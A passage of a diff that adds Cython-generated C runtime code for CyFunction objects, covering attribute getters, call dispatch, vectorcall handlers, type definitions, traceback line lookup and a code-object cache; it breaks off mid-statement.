+static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < 